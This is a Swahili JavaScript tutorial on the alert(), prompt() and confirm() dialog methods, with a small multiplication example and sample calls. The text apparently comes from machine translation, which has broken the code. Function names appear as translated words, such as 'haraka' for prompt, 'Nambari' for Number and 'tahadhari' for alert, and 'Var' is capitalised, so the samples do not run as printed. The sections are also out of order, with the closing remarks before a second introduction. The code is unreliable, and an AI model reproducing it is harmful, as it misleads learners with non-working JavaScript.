    Kwa kweli, unaweza kuingiza habari yoyote kwenye uwanja wa maandishi kutoka kwa njia ya haraka (). Taarifa hii itarejeshwa kama mfuatano, hata katika hali ya nambari au vibambo vingine maalum.

    Kwa mfano, hebu tuulize mtumiaji kuingiza nambari mbili na kuzizidisha. Kutakuwa na aina fulani ya kikokotoo cha kuzidisha nambari.

    Var x = haraka ("Ingiza nambari ya kwanza:"); var y = haraka ("Ingiza nambari ya pili:"); // Badilisha nambari zilizoingia kutoka kwa aina ya kamba hadi nambari ya nambari x = Nambari (x); y = Nambari (y); document.write(x + " * " + y + " = " + (x * y));

    Nambari zilizoingia ni kamba, kwa hivyo kwa matokeo sahihi ya kuzidisha, nambari hizi lazima zipitishwe kupitia Nambari () kazi, ambayo inawabadilisha kutoka kwa aina ya kamba hadi nambari za kawaida.

    Naam, hiyo ndiyo yote. Sasa unajua njia tatu zaidi: alert(), confirm() na prompt(). Ambayo unaweza kutumia kwa usalama katika mazoezi.

    Na tena, ninakukaribisha kwenye mada nyingine iliyotolewa kwa lugha ya JavaScript, ambayo tutachambua mbinu za tahadhari, za haraka, za kupinga. Mbinu hizi zimejengwa katika lugha ya Javascript na hutusaidia kuingiliana na mtumiaji.
    Arifa huonyesha kidirisha kwenye skrini ya kivinjari chenye maelezo fulani, ambayo husitisha hati hadi mtumiaji abonyeze Sawa.
    Prompt kawaida huonyesha dirisha ambalo huuliza mtumiaji swali ambalo lazima ajibu katika sehemu mahususi ya maandishi kabla ya kubofya SAWA. Mtumiaji pia hawezi kuingiza chochote kwa kubonyeza kitufe cha Ghairi.
    Thibitisha pia inaonyesha dirisha ambalo mtumiaji hawezi tena kuingiza chochote kwenye sehemu ya maandishi, lakini anaweza kubofya SAWA au kughairi pekee.
    Na sasa, baada ya kuanzishwa kwa muda mfupi, hebu tuendelee kuzingatia yote hapo juu katika mazoezi.



    tahadhari, haraka, thibitisha



    tahadhari("Habari, mtumiaji mpendwa!");
    var nameUser = prompt("Jina lako?" , "jina" );
    var userAnswer = confirm("Je, una uhakika unataka kuondoka kwenye tovuti?" );



    Matokeo yake, tunapoonyesha upya ukurasa wa kivinjari, tutaona dirisha la kumkaribisha mtumiaji. Baada ya kubofya Sawa, dirisha lifuatalo litaonekana kuuliza jina lako. Njia hii ina vigezo viwili, ya kwanza inahitajika na inawajibika kwa kichwa kitakachoonyeshwa, kwa upande wetu ni swali la jina la mtumiaji. Na parameter ya pili inawajibika kwa thamani ambayo itaonyeshwa kwa default katika uwanja wa maandishi. Ukiingiza jina lako na ubonyeze Sawa, jina lako litawekwa kwenye kigezo cha jinaMtumiaji. Ukibofya kitufe cha kughairi, null itaandikwa kwa kutofautisha.
    Na hatimaye, dirisha ambalo linauliza mtumiaji kama anataka kuondoka kwenye tovuti yetu au la. Katika kesi ya ridhaa, thamani ya Boolean kweli itawekwa katika kigezo, na katika kesi ya kukataa, sivyo ipasavyo. Hayo tu ndiyo unayohitaji kujua kuhusu njia hizi, tuonane katika masomo yanayofuata!